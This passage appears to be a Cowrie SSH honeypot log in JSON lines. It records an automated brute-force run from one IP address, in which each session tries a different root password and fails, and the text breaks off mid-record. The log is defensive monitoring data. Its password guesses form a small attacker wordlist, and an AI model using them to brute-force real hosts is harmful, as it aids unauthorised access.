{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:03.369940Z","src_ip":"60.165.124.241","session":"a205c4f05710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:03.606637Z","src_ip":"60.165.124.241","session":"a205c4f05710","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"disaster","message":"login attempt [root/disaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:04.325456Z","src_ip":"60.165.124.241","session":"a205c4f05710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:05.565536Z","src_ip":"60.165.124.241","session":"a205c4f05710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60754,"dst_ip":"10.17.0.5","dst_port":22,"session":"0854644c5cf3","protocol":"ssh","message":"New connection: 60.165.124.241:60754 (10.17.0.5:22) [session: 0854644c5cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:05.802131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:05.806391Z","src_ip":"60.165.124.241","session":"0854644c5cf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:06.044327Z","src_ip":"60.165.124.241","session":"0854644c5cf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112211..","message":"login attempt [root/Aa112211..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:06.768520Z","src_ip":"60.165.124.241","session":"0854644c5cf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":43730,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cfdca2e0622","protocol":"ssh","message":"New connection: 45.148.10.121:43730 (10.17.0.5:22) [session: 7cfdca2e0622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:06.958466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:06.962722Z","src_ip":"45.148.10.121","session":"7cfdca2e0622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:07.050576Z","src_ip":"45.148.10.121","session":"7cfdca2e0622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:08.008492Z","src_ip":"60.165.124.241","session":"0854644c5cf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35684,"dst_ip":"10.17.0.5","dst_port":22,"session":"b672242ac7a3","protocol":"ssh","message":"New connection: 60.165.124.241:35684 (10.17.0.5:22) [session: b672242ac7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:08.239896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:08.245546Z","src_ip":"60.165.124.241","session":"b672242ac7a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:08.485765Z","src_ip":"60.165.124.241","session":"b672242ac7a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"333666","message":"login attempt [root/333666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:09.212536Z","src_ip":"60.165.124.241","session":"b672242ac7a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:10.456682Z","src_ip":"60.165.124.241","session":"b672242ac7a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38708,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1a801f8777d","protocol":"ssh","message":"New connection: 60.165.124.241:38708 (10.17.0.5:22) [session: e1a801f8777d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:10.690517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:10.699172Z","src_ip":"60.165.124.241","session":"e1a801f8777d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:10.936679Z","src_ip":"60.165.124.241","session":"e1a801f8777d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazZAQ!","message":"login attempt [root/1qazZAQ!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:11.656710Z","src_ip":"60.165.124.241","session":"e1a801f8777d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:12.903824Z","src_ip":"60.165.124.241","session":"e1a801f8777d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42128,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f8a2c167eda","protocol":"ssh","message":"New connection: 60.165.124.241:42128 (10.17.0.5:22) [session: 2f8a2c167eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:13.157526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:13.161606Z","src_ip":"60.165.124.241","session":"2f8a2c167eda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:13.410582Z","src_ip":"60.165.124.241","session":"2f8a2c167eda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123RTY&*(","message":"login attempt [root/123RTY&*(] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:14.165082Z","src_ip":"60.165.124.241","session":"2f8a2c167eda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:15.416599Z","src_ip":"60.165.124.241","session":"2f8a2c167eda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45284,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b8cb41044ed","protocol":"ssh","message":"New connection: 60.165.124.241:45284 (10.17.0.5:22) [session: 7b8cb41044ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:15.648507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:15.653459Z","src_ip":"60.165.124.241","session":"7b8cb41044ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:15.897462Z","src_ip":"60.165.124.241","session":"7b8cb41044ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@55W0rd","message":"login attempt [root/p@55W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:16.656811Z","src_ip":"60.165.124.241","session":"7b8cb41044ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:17.906236Z","src_ip":"60.165.124.241","session":"7b8cb41044ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48536,"dst_ip":"10.17.0.5","dst_port":22,"session":"f59fdb87a052","protocol":"ssh","message":"New connection: 60.165.124.241:48536 (10.17.0.5:22) [session: f59fdb87a052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:18.176417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:18.181284Z","src_ip":"60.165.124.241","session":"f59fdb87a052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:18.438204Z","src_ip":"60.165.124.241","session":"f59fdb87a052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe1230.","message":"login attempt [root/qwe1230.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:19.217809Z","src_ip":"60.165.124.241","session":"f59fdb87a052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:20.480752Z","src_ip":"60.165.124.241","session":"f59fdb87a052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51746,"dst_ip":"10.17.0.5","dst_port":22,"session":"9018d01ebab8","protocol":"ssh","message":"New connection: 60.165.124.241:51746 (10.17.0.5:22) [session: 9018d01ebab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:20.718387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:20.724483Z","src_ip":"60.165.124.241","session":"9018d01ebab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:20.980739Z","src_ip":"60.165.124.241","session":"9018d01ebab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12121212","message":"login attempt [root/12121212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:21.737850Z","src_ip":"60.165.124.241","session":"9018d01ebab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:22.995240Z","src_ip":"60.165.124.241","session":"9018d01ebab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54908,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce61ca016cb4","protocol":"ssh","message":"New connection: 60.165.124.241:54908 (10.17.0.5:22) [session: ce61ca016cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:23.216139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:23.221202Z","src_ip":"60.165.124.241","session":"ce61ca016cb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-